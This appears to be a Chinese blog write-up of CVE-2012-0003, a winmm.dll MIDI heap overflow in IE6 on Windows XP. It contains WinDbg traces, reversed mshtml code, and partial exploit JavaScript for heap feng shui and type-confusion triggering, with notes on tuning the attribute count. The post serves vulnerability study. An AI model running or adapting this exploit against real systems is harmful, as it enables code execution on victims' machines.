赞
踩
MIDI文件由chunk组成,每个chunk由4字节的type(ascii字符如’MThd’)+ 4字节data len + data组成
chunk有两种类型:
header chunk在文件的开头,记录了MIDI文件的基本信息
可以表示为<Header Chunk> = <chunk type><length><format><ntrks><division>
音轨块实际存储歌曲数据,每个块就是一个MIDI数据流可表示为<Track Chunk> = <chunk type><length><MTrk event>+
+号表示可以有多个MTrk event。
MTrk event可以有多个,表示为<MTrk event> = <delta-time><event>
delta-time:间隔时间?如果两个事件同时发生则表示为0。variable Length Quantity类型
event:事件信息可以是下面3种事件中的一种,可表示为<event> = <MIDI event> | <sysex event> | <meta-event>
。基本形式都是MIDI Message+Data Bytes+Data。具体的看的信息可以去参考详细event解析
拿《漏洞战争》中的样本test_case.mid分析,这里使用了LarryS的分析结果
4D 54 68 64 // MThd 四字节的type信息,表示这是一个header trunk 00 00 00 06 // 四字节length信息,表示该header trunk后面的长度是6字节 00 00 // Format = 0, 表示文件只包含一个multi-channel track 00 01 // num of tracks = 1,和format = 0相对应 00 60 // 对delta-times的解释,第15位为0,所以后面0x60表示ticks per quarter-note,是个音乐概念,不太懂 4D 54 72 6B // MTrk 四字节的type信息,表示这是一个track trunk 00 00 00 35 // 四字节length信息,表示该track trunk后面的长度是53字节 00 // delta-time, 这块数据采用的是variable length quantity FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 // meta-event,sequence的名字:Drums (BB) 00 C9 28 // 新的program数值为40 00 B9 07 64 // 音量变化 00 B9 0A 40 // Pan?? 不知道是什么 00 B9 7B 00 // 所有音符结束 00 B9 5B 28 // 效果1深度 00 B9 5D 00 // 效果3深度 85 50 99 23 7F //85 50是delta-time 0x23号音符开始 00 9F B2 73 // 0xB2号音符开始,注意这里B2的最高比特位是1,是不合法的 00 FF 2F 00 // track结束
环境 | 备注 | |
---|---|---|
操作系统 | windows XP sp3 | 中文版 |
漏洞模块 | winmm.dll | 5.1.2600.5512 |
漏洞环境 | IExplore | 6.00.2900.5512 |
为IE添加hpa保护,方便调试
将《漏洞战争》中的样本cve-2012-0003-ie6.htm和test_case.mid复制到实验环境中,双击htm再用windbg附加。点击允许阻止的内容,安全警告点击“是”。
漏洞点在0x76b2d224 mov al,byte ptr[esi]。esi无法访问
0:007> g
(acc.24c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=03149019 edi=27cfef60
eip=76b2d224 esp=2821fe80 ebp=2821fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:03149019=??
查看esi的堆信息,堆起始为0x3148c00,大小为0x400。esi超过堆的界限所以报错
0:010> !heap -p -a esi
address 03149019 found in
_DPH_HEAP_ROOT @ 141000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
3d847f8: 3148c00 400 - 3148000 2000
查看调用情况(需要在windbg里面设置symbols否则函数识别会出错),确定漏洞出在WINMM.dll中。查看WINMM.dll的信息
0:010> kb ChildEBP RetAddr Args to Child 2821fea0 76b2d2e5 b2e81ad0 76b2d296 00000010 WINMM!midiOutPlayNextPolyEvent+0x1ec 2821feb4 76b154e3 00000010 00000000 00000ea6 WINMM!midiOutTimerTick+0x4f 2821fedc 76b2adfe 76b2d296 00000003 00000010 WINMM!DriverCallback+0x5c 2821ff18 76b2af02 00000010 015c0000 b1cebd08 WINMM!TimerCompletion+0xf4 2821ffb4 7c80b713 00000000 015c0000 015c0000 WINMM!timeThread+0x53 2821ffec 00000000 76b2aeaf 00000000 00000000 kernel32!BaseThreadStart+0x37 0:010> lm vm WINMM start end module name 76b10000 76b3a000 WINMM (pdb symbols) c:\windows\symbols\dll\winmm.pdb Loaded symbol image file: C:\WINDOWS\system32\WINMM.dll Image path: C:\WINDOWS\system32\WINMM.dll Image name: WINMM.dll Timestamp: Mon Apr 14 10:13:53 2008 (4802BDE1) CheckSum: 0002C65D ImageSize: 0002A000 File version: 5.1.2600.5512 Product version: 5.1.2600.5512 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0804.04b0 CompanyName: Microsoft Corporation ProductName: Microsoft(R) Windows(R) Operating System InternalName: winmm.dll OriginalFilename: WINMM.DLL ProductVersion: 5.1.2600.5512 FileVersion: 5.1.2600.5512 (xpsp.080413-0845) FileDescription: MCI API DLL LegalCopyright: (C) Microsoft Corporation. All rights reserved.
在midiOutPlayNextPolyEvent函数中将影响最终访问的代码列出来
v2 = *(WPARAM **)(wParam + 60); v2[9] += 4; v7 = v2[9]; v7 += 4; v8 = *(_DWORD *)(v7 + wParama) v10 = v8&0xffffff v17 = v10 if ( (v10 & 0x80u) != 0 ) { wParam_3a = BYTE1(v10); } else { v17 = *(_BYTE *)(wParam + 84); wParam_3a = v10; } v16 = *(_DWORD *)(wParam + 0x84); if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 ) { v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2; ... v20 = (char *)(v19 + v16); v21 = *v20; // 漏洞产生点 }
按照导图推算的方法给所有关键的变量设置断点记录每次运行时的变化
//关键的赋值 76B2D041 mov edi, [ebp+wParam] ; wParam edi 76B2D050 mov esi, [edi+3Ch] ;v2 esi 76B2D09D add ebx, 4 ;v7 ebx 76B2D0B5 mov ecx, [ebx+eax] ;v8 ecx 76B2D0C3 and ecx, 0FFFFFFh ;v10 ecx 76B2D1C7 mov al, cl ;v17 al 76B2D1EB mov byte ptr [ebp+wParam+3], dl;wParam+3 dl 76B2D1D0 mov byte ptr [ebp+wParam+3], cl;wParam+3 cl 76B2D1CD mov al, [edi+54h] ;v17 al 76B2D212 sar eax, 1 ;v19 eax 76B2D21E add esi, eax ;v20 esi 76B2D224 mov al, [esi] ; 漏洞点 //给设置断点并记录信息 bu 76B2D044 ".echo 'wParam';r edi;g;" bu 76B2D053 ".echo 'v2';r esi;g;" bu 76B2D0A0 ".echo 'v7';r ebx;g;" bu 76B2D0B8 ".echo 'v8';r ecx;g;" bu 76B2D0C9 ".echo 'v10';r ecx;g;" bu 76B2D1C9 ".echo 'v17';r al;g;" bu 76B2D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;" bu 76B2D1EB ".echo 'wParam_3a';r dl;g;" bu 76B2D214 ".echo 'v19';r eax;g;" bu 76B2D220 ".echo 'v16';r esi;g;" bu 76B2D224 ".echo 'v20';r esi;g;"
两次运行之后得到如下信息,对比test_case.mid可知
v2没有改变
v7每次增长0xC
v8和v10相同
最关键的是v17对应的是MIDI文件的事件码,wParam_3a对应事件码后面的参数信息
第二次运行时,v16明显是基址,v19为偏移
偏移的计算(v19)过程
偏移过大的产生:0x419 = (0xB2+0xF<<7)/2
基址的计算(v16)
v16 = *(_DWORD *)(wParam + 0x84)。wParam为函数调用时传入的参数。交叉引用可以知道midiOutTimerTick调用了midiOutPlayNextPolyEvent
所以wParam= *(_DWORD *)(gpEmuList+0x84)
继续查看gpEmuList的交叉引用
所以最终wParam=winmmAlloc(0x400)
,这也是为什么堆的大小是0x400
漏洞可以做什么?
能对目标进行加1操作,条件为[(wParam_3a&1) == 0 &&( v22&0xF)≠0xF]
一次溢出读一字节
对溢出读的内容加1
对溢出点写回
漏洞能够对某个地址的值+1。下面是部分利用代码
var selob = document.createElement("select") selob.w0 = alert selob.w1 = unescape("%u1be4%u0c0c") selob.w2 = alert selob.w3 = alert selob.w4 = alert selob.w5 = alert selob.w6 = alert selob.w7 = alert selob.w8 = alert selob.w9 = alert selob.w10 = alert selob.w11 = alert selob.w12 = alert selob.w13 = alert selob.w14 = alert selob.w15 = alert selob.w16 = alert selob.w17 = alert selob.w18 = alert selob.w19 = alert selob.w20 = alert selob.w21 = alert selob.w22 = alert selob.w23 = alert selob.w24 = alert selob.w25 = alert selob.w26 = alert selob.w27 = alert selob.w28 = alert selob.w29 = alert selob.w30 = alert selob.w31 = alert selob.w32 = alert selob.w33 = alert selob.w34 = alert selob.w35 = alert selob.w36 = alert selob.w37 = alert selob.w38 = alert selob.w39 = alert selob.w40 = alert selob.w41 = alert selob.w42 = alert selob.w43 = alert selob.w44 = alert selob.w45 = alert selob.w46 = alert selob.w47 = alert selob.w48 = alert selob.w49 = alert selob.w50 = alert selob.w51 = alert selob.w52 = alert selob.w53 = alert selob.w54 = alert selob.w55 = alert selob.w56 = alert selob.w57 = alert selob.w58 = alert selob.w59 = alert selob.w60 = alert selob.w61 = alert selob.w62 = alert selob.w63 = alert var clones=new Array(1000); function feng_shui() { var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } feng_shui();
查看mshtml.dll(处理ie中html解析模块)中用于处理元素复制的函数CElement::Clone,CElement::Clone会调用CAttrArray::Clone
//这是自己猜测的CAttrArray结构体,主要关注前两个字段 struct CAttrArray{ DWORD nSize;//元素数组大小 struct CAttrValue* ptrAttrArray;//指向AttrArray元素数组 DWORD unkonw;//这次漏洞没有用到不做分析 } //只保留了最关键的代码 int __thiscall CAttrArray::Clone(CAttrArray *this, struct CAttrArray **a2) { v3 = (CAttrArray *)_MemAlloc(0xCu); v4 = CAttrArray::CAttrArray(v3); // 创建CAttrArray结构体 v17 = CImplAry::EnsureSize(v4, 0x10u, *(_DWORD *)this >> 2);// 根据传入的CAttrArray计算大小 v9 = *((_DWORD *)this + 1);//CAttrArray保存元素属性的地址 while(1) { if ( *(_BYTE *)v9 != 3 || v19 ) // 从开头不是0x03的元素(即b1!=3)才能复制 { v17 = CAttrValue::Copy((CAttrValue *)v8, (const struct CAttrValue *)v9);// 循环复制 } } v21 = (struct CAttrArray **)CAttrArray::EnsureHeader(*a2, 1);// 为元素数组添加Header(0x10大小) }
在EnsureSizey函数下断点查看申请的堆大小应该是0x10*0x42=0x420。ecx中保存了CAttrArray结构体,查看可知最后分配了0x480大小的堆。这和我们的目标0x400不一致。
0:007> g Breakpoint 0 hit eax=0176c370 ebx=0176c28c ecx=0176c370 edx=00000042 esi=017698b0 edi=00000000 eip=7e38e7ff esp=0012de68 ebp=0012de90 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CAttrArray::Clone+0x5a: 7e38e7ff e8acb8eeff call mshtml!CImplAry::EnsureSize (7e27a0b0) 0:000> dd esp L3 0012de68 00000010 00000042 00000000 0:000> p eax=00000000 ebx=0176c28c ecx=7c9301bb edx=00140608 esi=017698b0 edi=00000000 eip=7e38e804 esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CAttrArray::Clone+0x5f: 7e38e804 85c0 test eax,eax 0:000> dd 0176c370 0176c370 00000000 001d5778 00000000 00000000 0176c380 00000000 00000000 00000000 00000000 0176c390 00000000 00000000 00000000 00000000 0176c3a0 00000000 00000000 00000000 00000000 0176c3b0 00000000 00000000 00000000 00000000 0176c3c0 00000000 00000000 00000000 00000000 0176c3d0 00000000 00000000 00000000 00000000 0176c3e0 00000000 00000000 00000000 00000000 0:000> !heap -p -a 001d5778 address 001d5778 found in _HEAP @ 140000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 001d5770 0091 0000 [01] 001d5778 00480 - (busy)
先假设exp没问题,继续看如何触发执行
3. 当漏洞触发时,midi能够申请到clones其中一个被释放的堆快,并且会将0x08修改为0x09
4. 判断w1的属性是否不是string(即是否被修改),成功修改则去执行。会调用CAttrValue::GetIntoVariant
5. 因为已经将类型修改为0x09最后会去0x0c0c0c0c执行shellcode。
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
这里有两个问题
先解决第2个问题,具体看一下EnsureSize代码。EnsureSize会对给的属性个数进行对齐,0x42对齐之后变成了0x48,所以最后堆大小为0x480。
int __thiscall CImplAry::EnsureSize(CImplAry *this, SIZE_T dwBytes, unsigned int a3)
{
v3 = a3;//v3 a3表示属性个数0x42
v5 = dwBytes;//后面dwBytes是临时变量存放计算的结果
a3 = UIntAdd(v3, 7u, &dwBytes);//0x42+7=0x49
v6 = v3 >= 8 ? dwBytes & 0xFFFFFFF8 : v3;//结合上面的+7,就是为了向上和8对齐,0x49变成0x48
a3 = UIntMult(v6, v5, &dwBytes);//0x48*0x10=0x480得到真正大小
v13 = (void *)_MemAlloc(dwBytes);//开辟0x480的内容
}
再解决第1个问题,在CAttrArray::Clone函数开头下断点查看用于复制的内容,根据前面猜测AttrArray结构体可知nszie为0x108(0x108>>2等于0x42),02330d78中保存了CAttrValue数组,除了前两行(第一行应该是header,第二行没找到出处),后面和我们在js中设置的符合。
这里猜测,在设置select属性之前,select的父类设置了1个基本属性并且在数组开头设置了header,导致我们设置了64个属性后占了66个属性的空间,再加上EnsureSize的对齐操作最后导致申请了0x480的堆
0:000> bp 7E38E7A5 0:000> g (1f8.894): Break instruction exception - code 80000003 (first chance) eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 ntdll!DbgBreakPoint: 7c92120e cc int 3 0:007> g Breakpoint 0 hit eax=0176c28c ebx=00000058 ecx=01769530 edx=0012dea8 esi=01769e80 edi=00000000 eip=7e38e7a5 esp=0012de94 ebp=0012df28 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CAttrArray::Clone: 7e38e7a5 8bff mov edi,edi //查看AttrArray结构体 0:000> dd ecx 01769530 00000108 02330d78 16e37040 00000000 01769540 00000902 002dc6c1 00000000 01769f70 01769550 00000004 00310077 00000000 00000000 01769560 00000902 002dc6c1 00000000 01769f70 01769570 00000802 002dc6c2 00000000 001b000c 01769580 7e4b6188 00000002 7e2234ac 01769fa0 01769590 7e26da30 00000000 00000000 00000000 017695a0 00000004 00000000 00000000 00000000 //查看数组内容 0:000> db 02330d78 02330d78 03 81 00 00 00 00 00 80-00 00 00 00 40 c2 76 01 ............@.v. 02330d88 03 0d 00 00 f5 13 01 80-00 00 00 00 78 bf 39 00 ............x.9. 02330d98 02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01 ......-.....p.v. 02330da8 02 08 00 00 c2 c6 2d 00-00 00 00 00 0c 00 1b 00 ......-......... 02330db8 02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01 ......-.......v. 02330dc8 02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01 ......-.......v. 02330dd8 02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01 ......-.....p.v. 02330de8 02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01 ......-.......v. //计算元素个数 0:000> ?108>>2 Evaluate expression: 66 = 00000042 //查看堆信息 0:000> !heap -p -a 02330d78 address 02330d78 found in _HEAP @ 140000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02330d70 0091 0000 [01] 02330d78 00480 - (busy)
在CAttrArray::Clone中的MemAlloc之后下断点,查看eax得到CAttrArray对象,再在CAttrArray::Clone返回之前下断点查看复制完成后的CAttrArray对象。结合前面的CAttrArray::Clone代码,可知在复制的时候只会将b1=0x02的属性进行复制,最后在EnsureHeader添加Header
0:000> bp 7E38E7BD 0:000> bp 7E38E7EB 0:000> g (6dc.454): Break instruction exception - code 80000003 (first chance) eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 ntdll!DbgBreakPoint: 7c92120e cc int 3 0:007> g Breakpoint 0 hit eax=0176c370 ebx=00000058 ecx=0000c000 edx=7e4b5de0 esi=01769530 edi=00000000 eip=7e38e7bd esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CAttrArray::Clone+0x18: 7e38e7bd 85c0 test eax,eax 0:000> dd eax 0176c370 00000000 00000000 00000000 00000000 0176c380 00000000 00000000 00000000 00000000 0176c390 00000000 00000000 00000000 00000000 0176c3a0 00000000 00000000 00000000 00000000 0176c3b0 00000000 00000000 00000000 00000000 0176c3c0 00000000 00000000 00000000 00000000 0176c3d0 00000000 00000000 00000000 00000000 0176c3e0 00000000 00000000 00000000 00000000 0:000> g Breakpoint 1 hit eax=001d5778 ebx=0176c28c ecx=00000104 edx=00000000 esi=00000000 edi=02231198 eip=7e38e7eb esp=0012de70 ebp=0012de90 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CAttrArray::Clone+0x46: 7e38e7eb 8b45f4 mov eax,dword ptr [ebp-0Ch] ss:0023:0012de84=00000000 0:000> dd 0176c370 0176c370 00000104 001d5778 16e37040 00000000 0176c380 ffffffff 00000000 00000000 00000000 0176c390 00000000 00000000 00000000 00000000 0176c3a0 00000000 00000000 00000000 00000000 0176c3b0 00000000 00000000 00000000 00000000 0176c3c0 00000000 00000000 00000000 00000000 0176c3d0 00000000 00000000 00000000 00000000 0176c3e0 00000000 00000000 00000000 00000000 0:000> db 001d5778 001d5778 03 81 00 00 00 00 00 80-00 00 00 00 80 c3 76 01 ..............v. 001d5788 02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01 ......-.....p.v. 001d5798 02 08 00 00 c2 c6 2d 00-00 00 00 00 bc af 1a 00 ......-......... 001d57a8 02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01 ......-.......v. 001d57b8 02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01 ......-.......v. 001d57c8 02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01 ......-.....p.v. 001d57d8 02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01 ......-.......v. 001d57e8 02 09 00 00 c7 c6 2d 00-00 00 00 00 c0 9a 76 01 ......-.......v.
根据前面EnsureSize的规则和EnsureHeader的了解,我们需要将原来的w0去除(因为多了一个header),使w1还是在原来的偏移处,还需要去掉最后一个w63,使clone时申请0x400大小。为了测试把堆喷的shellcode改成calc.exe。
最大的坑在设置属性的个数上。其他的触发和书上一样。
最后感谢LarryS的文章,基本都是照着看。本来想探索一下属性设置的过程(实力有限呀)
参考
《漏洞战争》
CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用
Standard MIDI-File Format Spec. 1.1, updated
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。